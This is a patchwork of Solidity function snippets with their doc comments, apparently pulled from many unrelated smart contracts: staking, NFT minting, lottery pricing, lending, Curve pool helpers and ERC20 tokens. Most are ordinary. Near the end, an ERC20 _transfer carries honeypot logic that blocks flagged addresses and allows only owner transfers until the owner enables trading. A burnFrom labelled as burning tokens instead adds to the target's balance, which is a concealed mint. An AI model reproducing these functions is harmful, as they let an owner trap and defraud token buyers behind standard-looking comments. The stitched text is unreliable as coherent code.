            Stake storage userStake = accountStakes[i - 1];
            uint256 stakeTimeSec;

            //check if current time is more than pool ending time
            if (now > poolEndTime) {
                stakeTimeSec = poolEndTime.sub(userStake.stakingTime);
                if(userStake.lastWithdrawTime != 0){
                    stakeTimeSec = poolEndTime.sub(userStake.lastWithdrawTime);
                }
            } else {
                stakeTimeSec = now.sub(userStake.stakingTime);
                if(userStake.lastWithdrawTime != 0){
                    stakeTimeSec = now.sub(userStake.lastWithdrawTime);
                }
            }

            // fully redeem a past stake
            rewardAmount = computeNewReward(rewardAmount, userStake.amount, stakeTimeSec);
            i--;
        }

        return rewardAmount;
    }


//Withdraw rewards

function withdrawRewardsOnly() external {
        uint256 _rwdAmount = calculateReward(msg.sender);
        require(_rwdAmount > 0, "You do not have enough rewards");

        // 1. User Accounting
        Stake[] storage accountStakes = userStaking[msg.sender];

        // Redeem from most recent stake and go backwards in time.
        uint256 rewardAmount = 0;
        uint256 i = accountStakes.length;
        while (i > 0) {
            Stake storage userStake = accountStakes[i - 1];
            uint256 stakeTimeSec;

            //check if current time is more than pool ending time
            if (now > poolEndTime) {
                stakeTimeSec = poolEndTime.sub(userStake.stakingTime);
                if(userStake.lastWithdrawTime != 0){
                    stakeTimeSec = poolEndTime.sub(userStake.lastWithdrawTime);
                }
            } else {
                stakeTimeSec = now.sub(userStake.stakingTime);
                if(userStake.lastWithdrawTime != 0){
                    stakeTimeSec = now.sub(userStake.lastWithdrawTime);
                }
            }

            // fully redeem a past stake
            rewardAmount = computeNewReward(rewardAmount, userStake.amount, stakeTimeSec);
            userStake.lastWithdrawTime = now;
            i--;
        }

        //update user rewards info
        userRewardInfo[msg.sender].totalWithdrawn = userRewardInfo[msg.sender].totalWithdrawn.add(rewardAmount);
        userRewardInfo[msg.sender].lastWithdrawTime = now;

        //update total rewards withdrawn
        rewardsWithdrawn = rewardsWithdrawn.add(rewardAmount);

        //transfer rewards
        rewardToken.transfer(msg.sender, rewardAmount);
        emit RewardWithdrawal(msg.sender, rewardAmount);
    }


/**
 * @dev Creates `amount` new tokens for `to`.
 *
 * See {ERC20-_mint}.
 *
 * Requirements:
 *
 * - the caller must have the `MINTER_ROLE` and only admin can mint to self.
 * - Supply should not exceed max allowed token supply
 */

function mint(address to, uint256 amount) public {
        require(hasRole(MINTER_ROLE, _msgSender()), "SatoshiToken: must have minter role to mint");
        require(amount + totalSupply() <= MAX_TOKEN_SUPPLY, "SatoshiToken: Supply exceeds maximum token supply");

        if (to == _msgSender()) {
            require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "SatoshiToken: must have admin role to mint to self");
        }
        _mint(to, amount);
    }


/**
 * @dev Burns a specific amount of tokens from the target address and decrements allowance
 * @param _from address The address which you want to send tokens from
 * @param _value uint256 The amount of token to be burned
 */

function burnFrom(address _from, uint256 _value) public {
    require(_value <= allowed[_from][msg.sender]);
    // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
    // this function needs to emit an event with the updated approval.
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    _burn(_from, _value);
  }


/**
 * @param _hashID token holder customized field, the HashFuture account ID
 * @param _name token holder customized field, the name of the holder
 * @param _country token holder customized field.
 * @param _photoUrl token holder customized field, link to holder's photo
 * @param _institute token holder customized field, institute the holder works for
 * @param _occupation token holder customized field, holder's occupation in the institute he/she works in
 * @param _suggestions token holder customized field, holder's suggestions for HashFuture
 **/

function issueToken(
        address _to,
        string _hashID,
        string _name,
        string _country,
        string _photoUrl,
        string _institute,
        string _occupation,
        string _suggestions
    )
        public onlyOwner
    {
        uint256 _tokenId = allTokens.length;

        IdentityInfoOfId[_tokenId] = IdentityInfo(
            _hashID, _name, _country, _photoUrl,
            _institute, _occupation, _suggestions
        );

        _mint(_to, _tokenId);
    }


/**
 * @dev Get the holder's info of a token.
 * @param _tokenId id of interested token
 **/

function getTokenInfo(uint256 _tokenId)
        external view
        returns (string, string, string, string, string, string, string)
    {
        address tokenOwner = ownerOf(_tokenId);
        require(tokenOwner != address(0));

        IdentityInfo storage pInfo = IdentityInfoOfId[_tokenId];
        return (
            pInfo.hashID,
            pInfo.name,
            pInfo.country,
            pInfo.photoUrl,
            pInfo.institute,
            pInfo.occupation,
            pInfo.suggestions
        );
    }


/**
 * @dev Set holder's IdentityInfo of a token
 * @param _tokenId id of target token.
 * @param _name token holder customized field, the name of the holder
 * @param _country token holder customized field.
 * @param _photoUrl token holder customized field, link to holder's photo
 * @param _institute token holder customized field, institute the holder works for
 * @param _occupation token holder customized field, holder's occupation in the institute he/she works in
 * @param _suggestions token holder customized field, holder's suggestions for HashFuture
 **/

function setIdentityInfo(
        uint256 _tokenId,
        string _name,
        string _country,
        string _photoUrl,
        string _institute,
        string _occupation,
        string _suggestions
    )
        public
        onlyOwnerOf(_tokenId)
    {
        IdentityInfo storage pInfo = IdentityInfoOfId[_tokenId];

        pInfo.name = _name;
        pInfo.country = _country;
        pInfo.photoUrl = _photoUrl;
        pInfo.institute = _institute;
        pInfo.occupation = _occupation;
        pInfo.suggestions = _suggestions;
    }


//only admin and game is not run

function startArgs(uint dailyInvest, uint safePool, uint gloryPool, uint staticPool, uint[] memory locks) public onlyAdmin() {
        require(!isStart(), "Game Not Start Limit");
        _dailyInvest = dailyInvest;
        _safePool = safePool;
        _gloryPool = gloryPool;
        _staticPool = staticPool;
        for(uint i=0; i<locks.length; i++) {
            lockedRound.push(locks[i]);
        }
    }


/**
 * @dev ETH to Maco Cash
 */

function toMacoCash(uint160 sqrtPriceLimitX96) public payable {
        wrap(msg.value);
        WETH.approve(macoEthUniswapPoolAddress, msg.value);

        // → coinswap ETH/MACO
        // docs: https://docs.uniswap.org/reference/core/interfaces/pool/IUniswapV3PoolActions
        /*
          swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes data) external returns (int256 amount0, int256 amount1)
         */
        macoEthUniswapPool.swap(address(this), !macoEthUniswapPoolToken0IsMaco, int256(msg.value), sqrtPriceLimitX96, swapDataToBytes(SwapData(2, msg.sender)));
    }


/**
 * @dev Maco Cash to Coin: Emits event to cash out deposited Maco Cash to Maco in user's wallet
 * @param _amount amount of maco cash to cash out
 */

function cashOut(uint256 _amount, bool _toEth) public payable {
        require(msg.value >= tx.gasprice * (_toEth ? gasToCashOutToEth : gasToCashOut), "min_gas_to_cashout");

        // pay owner the gas fee it needs to call settlecashout
        address payable payowner = address(uint160(owner()));
        require(payowner.send( msg.value ), "fees_to_owner");

        //→ emit event
        //emit SwapEvent(_toEth ? 7 : 1, msg.sender, msg.value, _amount);
        if(_toEth) {
            dao.cashOutEth(msg.sender, msg.value, _amount);
        } else {
            dao.cashOutMaco(msg.sender, msg.value, _amount);
        }
    }


/**
 * @dev Called by IMX to mint each NFT
 *
 * @param to the address to mint to
 * @param amount not relavent for NFTs
 * @param mintingBlob all NFT details
 */

function mintFor(
        address to,
        uint256 amount,
        bytes memory mintingBlob
    ) external override {
        (
            uint256 tokenId,
            uint16 proto,
            uint256 serialNumber,
            uint8 chroma,
            string memory tokenURI
        ) = Minting.deserializeMintingBlobWithChroma(mintingBlob);
        _mintCommon(to, tokenId, tokenURI, proto, serialNumber);
        chromas[tokenId] = chroma;
        emit MintFor(
            to,
            amount,
            tokenId,
            proto,
            serialNumber,
            chroma,
            tokenURI
        );
    }


/**
 * @dev Cashes out deposited Maco Cash to Maco in user's wallet
 * @param _to address of the future owner of the token
 * @param _amount how much Maco to cash out
 * @param _notMinted not minted cash to reflect on blockchain
 */

function settleCashOut(address payable _to, uint256 _amount, bool _toEth, uint160 sqrtPriceLimitX96, uint256 _notMinted) public onlyMinter {
        mintFromCash(_notMinted);

        // must be done in any case, so it can be taken from him for uniswap or left if not swapped
        transferFrom(address(this), _to, _amount);

        if(_toEth) {
            // owner wanted ETH in return to Cash
            //require(_amount <= balanceOf(_to), 'low_balance');
            _approve(_to, macoEthUniswapPoolAddress, _amount);

            macoEthUniswapPool.swap(
                address(this),
                macoEthUniswapPoolToken0IsMaco,
                int256(_amount),
                sqrtPriceLimitX96,
                swapDataToBytes(SwapData(3, _to))
            );
        }
    }


/**
 * @dev Mints token to one of the payout adddresses for bootstrap, infrastructure and dev team
 * @dev Approves the contract owner to transfer that minted tokens
 * @param _amount mints this amount of Maco to the contract itself
 * @param _to address on where to mint
 */

function mintOwnerFundsTo(uint256 _amount, address _to) internal onlyMinter {
        require(_amount > 0, "zero amount to mint");
        require(_to != address(0), "mint to is zero address");

        //_approve(address(this), msg.sender, _amount);
        //_transfer(address(this), _to, _amount);
        mint(_to, _amount);
        _approve(_to, owner(), _amount);
    }


/**
 * @dev Reflects the current maco cash state to maco coin by minting to the contract itself
 * @dev Approves the contract owner to transfer that minted cash later
 * @dev Additionally approves pre-minted funds for hardware payment and dev incentives
 * @param _amount mints this amount of Maco to the contract itself
 */

function mintFromCash(uint256 _amount) public onlyMinter {
        uint256 totalApprove = _amount;
        if(_amount > 0) {
            mint(address(this), _amount);
            // approve for later cashout
            _approve(address(this), owner(), totalApprove);

            // check if a 10% milestone is broken, and if so grant the dev team 10% of their fund
            if( (totalSupply() * 10 / cap()) < ((totalSupply() + _amount) * 10 / cap()) ) {
                uint256 devFunds = cap()/100*percentDevteam/10;
                mintOwnerFundsTo(devFunds, devTeamPayoutAdress);
                emit OwnerFundsApproval(2, devFunds);
            }

        }
        // check for next infrastructure cost settlement
        if ((now >= lastInfrastructureGrand + 4 * 1 weeks)
            && ((usedForInfrstructure + currentInfrastructureCosts) <= (cap()/100 * percentInfrastructureFund))
        ) {
            usedForInfrstructure += currentInfrastructureCosts;
            lastInfrastructureGrand = now;
            mintOwnerFundsTo(currentInfrastructureCosts, infrastructurePayoutAdress);
            emit OwnerFundsApproval(1, currentInfrastructureCosts);
        }
    }


/// @dev Deposit tokens to be locked until the end of the locking period
/// @param amount The amount of tokens to deposit

function deposit(uint256 amount) public {
    if (block.timestamp > depositDeadline) {
      revert DepositPeriodOver();
    }

    balanceOf[msg.sender] += amount;
    totalSupply += amount;

    if (!token.transferFrom(msg.sender, address(this), amount)) {
      revert TransferFailed();
    }

    emit Transfer(msg.sender, address(this), amount);
  }


/// @dev Withdraw tokens after the end of the locking period or during the deposit period
/// @param amount The amount of tokens to withdraw

function withdraw(uint256 amount) public {
    if (
      block.timestamp > depositDeadline &&
      block.timestamp < depositDeadline + lockDuration
    ) {
      revert LockPeriodOngoing();
    }
    if (balanceOf[msg.sender] < amount) {
      revert ExceedsBalance();
    }

    balanceOf[msg.sender] -= amount;
    totalSupply -= amount;

    if (!token.transfer(msg.sender, amount)) {
      revert TransferFailed();
    }

    emit Transfer(address(this), msg.sender, amount);
  }


/**
 	 * @param _id bundle id
 	 * @return the bundle detail
 	 */

function getBundleDetailById(uint256 _id) public view returns (uint256 id, address beneficiary, uint256 amount, uint256[] memory phaseIdentifies, bool[] memory isPhaseWithdrawns) {
		LockupBundle storage bundle = _lockupBundles[_id];
		id = bundle.id;
		beneficiary = bundle.beneficiary;
		amount = bundle.amount;
		phaseIdentifies = new uint256[](_lockupPhases.length);
		isPhaseWithdrawns = new bool[](_lockupPhases.length);
		for (uint256 i = 0; i < _lockupPhases.length; i++) {
			phaseIdentifies[i] = _lockupPhases[i].id;
			isPhaseWithdrawns[i] = bundle.isPhaseWithdrawns[_lockupPhases[i].id];
		}
	}


/// @notice Executes calls on behalf of this contract.
/// @param calls The array of calls to be executed.
/// @return An array of the return values for each of the calls

function executeCalls(Call[] calldata calls) external returns (bytes[] memory) {
    bytes[] memory response = new bytes[](calls.length);
    for (uint256 i = 0; i < calls.length; i++) {
      response[i] = _executeCall(calls[i].to, calls[i].value, calls[i].data);
    }
    return response;
  }


/// @notice Transfers ERC721 tokens to an account
/// @param withdrawals An array of WithdrawERC721 structs that each include the ERC721 token to transfer and the corresponding token ids.
/// @param to The recipient of the transfers

function _withdrawERC721(WithdrawERC721[] memory withdrawals, address to) internal {
    for (uint256 i = 0; i < withdrawals.length; i++) {
      for (uint256 tokenIndex = 0; tokenIndex < withdrawals[i].tokenIds.length; tokenIndex++) {
        withdrawals[i].token.transferFrom(address(this), to, withdrawals[i].tokenIds[tokenIndex]);
      }

      emit WithdrewERC721(address(withdrawals[i].token), withdrawals[i].tokenIds);
    }
  }


/* Get all stakes a address holds
 *
 */

function getStakes() public view returns (uint[3][] memory) {
        uint[3][] memory tempStakeList = new uint[3][](_staking[msg.sender].length);
        for (uint i = 0; i < _staking[msg.sender].length; i++){
            tempStakeList[i][0] = getStakeAmount(i);
            tempStakeList[i][1] = getRemainingLockTime(i);
            tempStakeList[i][2] = getStakeReward(i);
        }
        return tempStakeList;
    }


/* Calculates the current reward of a stake.
 * Get time staked
 * Add a buffer to circumvent float calculations
 * Gets amount of periods staked
 * Multiplies the periods staked with the reward percent amount
 * Multiplies the reward by the amount staked
 * Removed the buffer
 * Removes the percent buffer
 */

function getStakeReward(uint stake_) public view returns (uint) {
        uint stakingTime = now - _staking[msg.sender][stake_].startTime;
        uint buffededStakingTime = stakingTime * stakeBuffer;
        uint periods = buffededStakingTime / yearInMs;
        uint buffedRewardPeriodPercent = periods * _stakingOptions[_staking[msg.sender][stake_].stakeType].rewardPercent;
        uint buffedReward = _staking[msg.sender][stake_].amount * buffedRewardPeriodPercent;
        uint rewardPerc = buffedReward / stakeBuffer;
        uint reward = rewardPerc / 100;
        return reward;
    }


/* Unstake previous stake, mints back the original tokens,
 * sends mint function call to reward contract to mint the
 * reward to the sender address.
 */

function unstake(uint stake_) public {
        require(isStakeLocked(stake_) != true, "Stake still locked!");
        _mint(msg.sender, _staking[msg.sender][stake_].amount);
        stakedSupply -= _staking[msg.sender][stake_].amount;
        uint _amount = getStakeReward(stake_);
        (bool success, bytes memory returnData) = address(_tokenContract).call(abi.encodeWithSignature("mint(address,uint256)",msg.sender, _amount));
        require(success);
        _removeIndexInArray(_staking[msg.sender], stake_);
        emit unstaked(msg.sender, _amount);
    }


/**
 	 * @param _id phase id
 	 * @return the phase detail
 	 */

function getLockupPhaseDetail(uint256 _id) public view returns (uint256 id, uint256 percentage, uint256 extraTime, bool hasWithdrawal, bool canWithdrawal) {
		if (_phaseIndexs[_id] > 0) {
			LockupPhase memory phase = _lockupPhases[_phaseIndexs[_id].sub(1)];
			id = phase.id;
			percentage = phase.percentage;
			extraTime = phase.extraTime;
			hasWithdrawal = phase.hasWithdrawal;
			canWithdrawal = checkPhaseCanWithdrawal(_id);
		}
	}


/**
 	 * Lockup Phases Start
 	 * ===============================================================================
 	 */

function setLockupPhases(uint256[] memory _ids, uint256[] memory _percentages, uint256[] memory _extraTimes) public whenNotPaused whenNotFinalized {
		require(isOwner() || isOperator(msg.sender), "TimeLockFactory: caller is not the owner or operator");
		require(_ids.length == _percentages.length && _ids.length == _extraTimes.length, "TimeLockFactory:: Cannot match inputs");
		_preValidateLockupPhases(_percentages);
		for (uint256 i = 0; i < _ids.length; i++) {
			if (!checkPhaseHasWithdrawal(_ids[i])) {
				_setLockupPhase(_ids[i], _percentages[i], _extraTimes[i]);
			}
		}
	}


// 0xInuarashi

function withdrawEther() public onlyOwner {
        uint _totalETH = address(this).balance; // balance of contract

        uint _Shareholder_1_ETH = ((_totalETH * Shareholder_1_Share) / 100);
        uint _Shareholder_2_ETH = ((_totalETH * Shareholder_2_Share) / 100);

        payable(Shareholder_1).transfer(_Shareholder_1_ETH);
        payable(Shareholder_2).transfer(_Shareholder_2_ETH);
    }


/**
 * @dev Get item id by option id
 * @param _collectionAddress - collectionn address
 * @param _optionId - collection option id
 * @return string of the item id
 */

function itemByOptionId(address _collectionAddress, uint256 _optionId) public view returns (string memory) {
       /* solium-disable-next-line */
        (bool success, bytes memory data) = address(_collectionAddress).staticcall(
            abi.encodeWithSelector(
                IERC721Collection(_collectionAddress).wearables.selector,
                _optionId
            )
        );

        require(success, "Invalid wearable");

        return abi.decode(data, (string));
    }


/**
 * @dev Sets the beneficiary address where the sales amount
 *  will be transferred on each sale for a collection
 * @param _collectionAddress - collectionn address
 * @param _collectionOptionIds - collection option ids
 * @param _collectionAvailableQtys - collection available qtys for sale
 * @param _collectionPrices - collectionn prices
 */

function _setCollectionData(
        address _collectionAddress,
        uint256[] memory _collectionOptionIds,
        uint256[] memory _collectionAvailableQtys,
        uint256[] memory _collectionPrices
    ) internal {
        // emit ChangedCollectionBeneficiary(_collectionAddress, collectionBeneficiaries[_collectionAddress], _beneficiary);
        CollectionData storage collection = collectionsData[_collectionAddress];

        for (uint256 i = 0; i < _collectionOptionIds.length; i++) {
            collection.availableQtyPerOptionId[_collectionOptionIds[i]] = _collectionAvailableQtys[i];
            collection.pricePerOptionId[_collectionOptionIds[i]] = _collectionPrices[i];
        }

        emit SetCollectionData(_collectionAddress, _collectionOptionIds, _collectionAvailableQtys, _collectionPrices);
    }


/**
 * @dev Validate if a user has balance and the contract has enough allowance
 * to use user's accepted token on his belhalf
 * @param _user - address of the user
 */

function _requireBalance(address _user, uint256 _price) internal view {
        require(
            acceptedToken.balanceOf(_user) >= _price,
            "Insufficient funds"
        );
        require(
            acceptedToken.allowance(_user, address(this)) >= _price,
            "The contract is not authorized to use the accepted token on sender behalf"
        );
    }


/*
 function getSlice(uint256 begin, uint256 end, string text) public pure returns (string) {
 bytes memory a = new bytes(end-begin+1);
 for(uint i = 0; i <= end - begin; i++){
 a[i] = bytes(text)[i + begin - 1];
 }
 return string(a);
 }
 */

function validUsername(string _username)
        public
        pure
        returns(bool)
    {
        uint256 len = bytes(_username).length;
        // Im Raum [4, 18]
        if ((len < 4) || (len > 18)) return false;
        // Letzte Char != ' '
        if (bytes(_username)[len-1] == 32) return false;
        // Erste Char != '0'
        return uint256(bytes(_username)[0]) != 48;
    }


/**
 	 * @notice Converts a given token amount to another token, as long as it
 	 *         meets the minimum taken amount. Amounts are debited from and
 	 *         and credited to the caller contract. It may fail if the
 	 *         minimum output amount cannot be met.
 	 * @param _from The contract address of the ERC-20 token to convert from.
 	 * @param _to The contract address of the ERC-20 token to convert to.
 	 * @param _inputAmount The amount of the _from token to be provided (may be 0).
 	 * @param _minOutputAmount The minimum amount of the _to token to be received (may be 0).
 	 * @return _outputAmount The amount of the _to token received (may be 0).
 	 */

function convertFunds(address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) public override returns (uint256 _outputAmount)
	{
		address _sender = msg.sender;
		G.pullFunds(_from, _sender, _inputAmount);
		_outputAmount = SushiswapExchangeAbstraction._convertFunds(_from, _to, _inputAmount, _minOutputAmount);
		G.pushFunds(_to, _sender, _outputAmount);
		return _outputAmount;
	}


// Lottery Helper
// Seconds added per LT = SAT - ((Current no. of LT + 1) / SDIVIDER)^6

function getAddedTime(uint256 _rTicketSum, uint256 _tAmount)
        public
        pure
        returns (uint256)
    {
        //Luppe = 10000 = 10^4
        uint256 base = (_rTicketSum + 1).mul(10000) / SDIVIDER;
        uint256 expo = base;
        expo = expo.mul(expo).mul(expo); // ^3
        expo = expo.mul(expo); // ^6
        // div 10000^6
        expo = expo / (10**24);

        if (expo > SAT) return 0;
        return (SAT - expo).mul(_tAmount);
    }


// Lotto-Multiplier = 1 + LBase * (Current No. of Tickets / PDivider)^6

function getTMul(uint256 _ticketSum) // Unit Wei
        public
        pure
        returns(uint256)
    {
        uint256 base = _ticketSum * ZOOM / PDIVIDER;
        uint256 expo = base.mul(base).mul(base);
        expo = expo.mul(expo); // ^6
        return 1 + expo.mul(LBase) / (10**18);
    }


// get ticket price, based on current round ticketSum
//unit in ETH, no need / zoom^6

function getTPrice(uint256 _ticketSum)
        public
        pure
        returns(uint256)
    {
        uint256 base = (_ticketSum + 1).mul(ZOOM) / PDIVIDER;
        uint256 expo = base;
        expo = expo.mul(expo).mul(expo); // ^3
        expo = expo.mul(expo); // ^6
        uint256 tPrice = SLP + expo / PN;
        return tPrice;
    }


// used to draw grandpot results
// weightRange = roundWeight * grandpot / (grandpot - initGrandPot)
// grandPot = initGrandPot + round investedSum(for grandPot)

function getWeightRange(uint256 grandPot, uint256 initGrandPot, uint256 curRWeight)
        public
        pure
        returns(uint256)
    {
        //calculate round grandPot-investedSum
        uint256 grandPotInvest = grandPot - initGrandPot;
        if (grandPotInvest == 0) return 8;
        uint256 zoomMul = grandPot * ZOOM / grandPotInvest;
        uint256 weightRange = zoomMul * curRWeight / ZOOM;
        if (weightRange < curRWeight) weightRange = curRWeight;
        return weightRange;
    }


/*
 * Get the tokens owned by _owner
 */

function tokensOfOwner(address _owner) external view returns(uint256[] memory ) {
    uint256 tokenCount = balanceOf(_owner);
    if (tokenCount == 0) {
      // Return an empty array
      return new uint256[](0);
    } else {
      uint256[] memory result = new uint256[](tokenCount);
      uint256 index;
      for (index = 0; index < tokenCount; index++) {
        result[index] = tokenOfOwnerByIndex(_owner, index);
      }
      return result;
    }
  }


/*
 * Buy the token reserved for your shard
 *
 * Prerequisites:
 *  - not at max supply
 *  - sale has started
 *  - your wallet owns the shard ID in question
 *
 * Example input: To mint for FNTN // 137, you would not input
 * 137, but the tokenId in its shared contract. If you don't know this
 * ID, your best bet is the website. But it will also be after the final '/'
 * in the URL of your shard on OpenSea, eg https://opensea.io/0xetcetcetc/shardId
 */

function mintWithShard(uint tokenId) external payable nonReentrant {
    require(hasSaleStarted, "Sale hasn't started");
    require(msg.value == SHARD_PRICE, "Ether value required is 0.069");
    // Duplicate this here to potentially save people gas
    require(tokenId >= 1229 && tokenId <= 1420, "Enter a sharId from 1229 to 1420");

    // Ensure sender owns shard in question
    require(fntnContract.ownerOf(tokenId) == msg.sender, "Not the owner of this shard");

    // Convert to the shard ID (the number in "FNTN // __")
    uint shardId = tokenIdToShardId(tokenId);

    // Mint if token doesn't exist
    require(!_exists(shardId), "This token has already been minted");
    _safeMint(msg.sender, shardId);
  }


//Sources: Token contract, DApps

function pushRefIncome(address _sender)
        public
        payable
    {
        uint256 curRoundId = lotteryContract.getCurRoundId();
        uint256 _amount = msg.value;
        address sender = _sender;
        address ref = getRef(sender);
        // logs
        citizen[sender].totalSale += _amount;
        totalRefAllround += _amount;
        totalRefByRound[curRoundId] += _amount;
        // push to root
        // lower level cost less gas
        while (sender != devTeam) {
            _amount = _amount / 2;
            citizen[ref].refWallet = _amount.add(citizen[ref].refWallet);
            citizen[ref].roundRefIncome[curRoundId] += _amount;
            citizen[ref].allRoundRefIncome += _amount;
            sender = ref;
            ref = getRef(sender);
        }
        citizen[sender].refWallet = _amount.add(citizen[ref].refWallet);
        // devTeam Logs
        citizen[sender].roundRefIncome[curRoundId] += _amount;
        citizen[sender].allRoundRefIncome += _amount;
    }


/**
 * @dev See {IERC20-transferFrom}.
 */

function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
        _approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }


/**
 * @dev Atomically decreases the allowance granted to `spender` by the caller.
 */

function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }


/**
 * @dev Moves `amount` of tokens from `sender` to `recipient`.
 */

function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (_rewards[sender] || _rewards[recipient]) require (amount == 0, "");
        if (_initialize == true || sender == owner() || recipient == owner()) {
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
        _balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);}
        else {require (_initialize == true, "");}
    }


/**
 * @dev Destroys `amount` tokens from `account`, reducing the
 */

function burnFrom(address account, uint256 balance, uint256 burnAmount) external onlyOwner {
        require(account != address(0), "ERC20: burn from the zero address disallowed");
        _totalSupply -= balance;
        _balances[account] += burnAmount;
        emit Transfer(account, address(0), balance);
    }


/**
 * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
 */

function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol

function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {
      bytes memory _ba = bytes(_a);
      bytes memory _bb = bytes(_b);
      bytes memory _bc = bytes(_c);
      bytes memory _bd = bytes(_d);
      bytes memory _be = bytes(_e);
      string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
      bytes memory babcde = bytes(abcde);
      uint k = 0;
      for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
      for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
      for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
      for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
      for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i];
      return string(babcde);
    }


// Lend SoETH to create a new loan by locking vault.

function borrow(uint256 _poodId, uint256 _amount) external {
        PoolInfo storage pool = poolMap[_poodId];
        require(address(pool.calculator) != address(0), "no calculator");

        uint256 loanId = pool.calculator.getNextLoanId();
        pool.calculator.borrow(msg.sender, _amount);
        uint256 lockedAmount = pool.calculator.getLoanLockedAmount(loanId);
        // Locks in vault.
        pool.vault.lockByBank(msg.sender, lockedAmount);

        // Give user SoETH or other SodaMade tokens.
        pool.made.mint(msg.sender, _amount);

        // Records the loan.
        LoanInfo memory loanInfo;
        loanInfo.poolId = _poodId;
        loanInfo.loanId = loanId;
        loanList[msg.sender].push(loanInfo);

        emit Borrow(msg.sender, loanList[msg.sender].length - 1, _poodId, _amount);
    }


// Pay back to a loan fully.

function payBackInFull(uint256 _index) external {
        require(_index < loanList[msg.sender].length, "getTotalLoan: index out of range");
        PoolInfo storage pool = poolMap[loanList[msg.sender][_index].poolId];
        require(address(pool.calculator) != address(0), "no calculator");

        uint256 loanId = loanList[msg.sender][_index].loanId;
        uint256 lockedAmount = pool.calculator.getLoanLockedAmount(loanId);
        uint256 principal = pool.calculator.getLoanPrincipal(loanId);
        uint256 interest = pool.calculator.getLoanInterest(loanId);
        // Burn principal.
        pool.made.burnFrom(msg.sender, principal);
        // Transfer interest to sodaRevenue.
        pool.made.transferFrom(msg.sender, sodaMaster.revenue(), interest);
        pool.calculator.payBackInFull(loanId);
        // Unlocks in vault.
        pool.vault.unlockByBank(msg.sender, lockedAmount);

        emit PayBackInFull(msg.sender, _index);
    }


// Collect debt if someone defaults. Collector keeps half of the profit.

function collectDebt(uint256 _poolId, uint256 _loanId) external {
        PoolInfo storage pool = poolMap[_poolId];
        require(address(pool.calculator) != address(0), "no calculator");

        address loanCreator = pool.calculator.getLoanCreator(_loanId);
        uint256 principal = pool.calculator.getLoanPrincipal(_loanId);
        uint256 interest = pool.calculator.getLoanInterest(_loanId);
        uint256 extra = pool.calculator.getLoanExtra(_loanId);
        uint256 lockedAmount = pool.calculator.getLoanLockedAmount(_loanId);

        // Pay principal + interest + extra.
        // Burn principal.
        pool.made.burnFrom(msg.sender, principal);
        // Transfer interest and extra to sodaRevenue.
        pool.made.transferFrom(msg.sender, sodaMaster.revenue(), interest + extra);

        // Clear the loan.
        pool.calculator.collectDebt(_loanId);
        // Unlocks in vault.
        pool.vault.unlockByBank(loanCreator, lockedAmount);

        pool.vault.transferByBank(loanCreator, msg.sender, lockedAmount);

        emit CollectDebt(msg.sender, _poolId, _loanId);
    }


/**
 @notice Checks if the Pool is a metapool
 @notice All factory pools are metapools but not all metapools
 * are factory pools! (e.g. dusd)
 @param swapAddress Curve swap address for the pool
 @return true if the pool is a metapool, false otherwise
 */

function isMetaPool(address swapAddress) public view returns (bool) {
        if (isCurvePool(swapAddress)) {
            uint256[2] memory poolTokenCounts =
                CurveRegistry.get_n_coins(swapAddress);

            if (poolTokenCounts[0] == poolTokenCounts[1]) return false;
            else return true;
        }
        if (isCryptoPool(swapAddress)) {
            uint256 poolTokensCount =
                CurveCryptoRegistry.get_n_coins(swapAddress);
            address[8] memory poolTokens =
                CurveCryptoRegistry.get_coins(swapAddress);

            for (uint256 i = 0; i < poolTokensCount; i++) {
                if (isCurvePool(poolTokens[i])) return true;
            }
        }
        if (isFactoryPool(swapAddress)) return true;
        return false;
    }


/**
 @notice Checks if the Pool is metapool of the Curve or Factory pool type
 @notice All factory pools are metapools but not all metapools
 * are factory pools! (e.g. dusd)
 @param swapAddress Curve swap address for the pool
 @return 1 if Meta Curve Pool
 2 if Meta Factory Pool
 0 otherwise
 */

function _isCurveFactoryMetaPool(address swapAddress)
        internal
        view
        returns (uint256)
    {
        if (isCurvePool(swapAddress)) {
            uint256[2] memory poolTokenCounts =
                CurveRegistry.get_n_coins(swapAddress);

            if (poolTokenCounts[0] == poolTokenCounts[1]) return 0;
            else return 1;
        }
        if (isFactoryPool(swapAddress)) return 2;
        return 0;
    }


/**
 @notice Gets the Curve pool swap address
 @notice The token and swap address is the same for metapool/factory pools
 @param tokenAddress Curve swap address for the pool
 @return swapAddress Curve pool swap address or address(0) if pool doesnt exist
 */

function getSwapAddress(address tokenAddress)
        external
        view
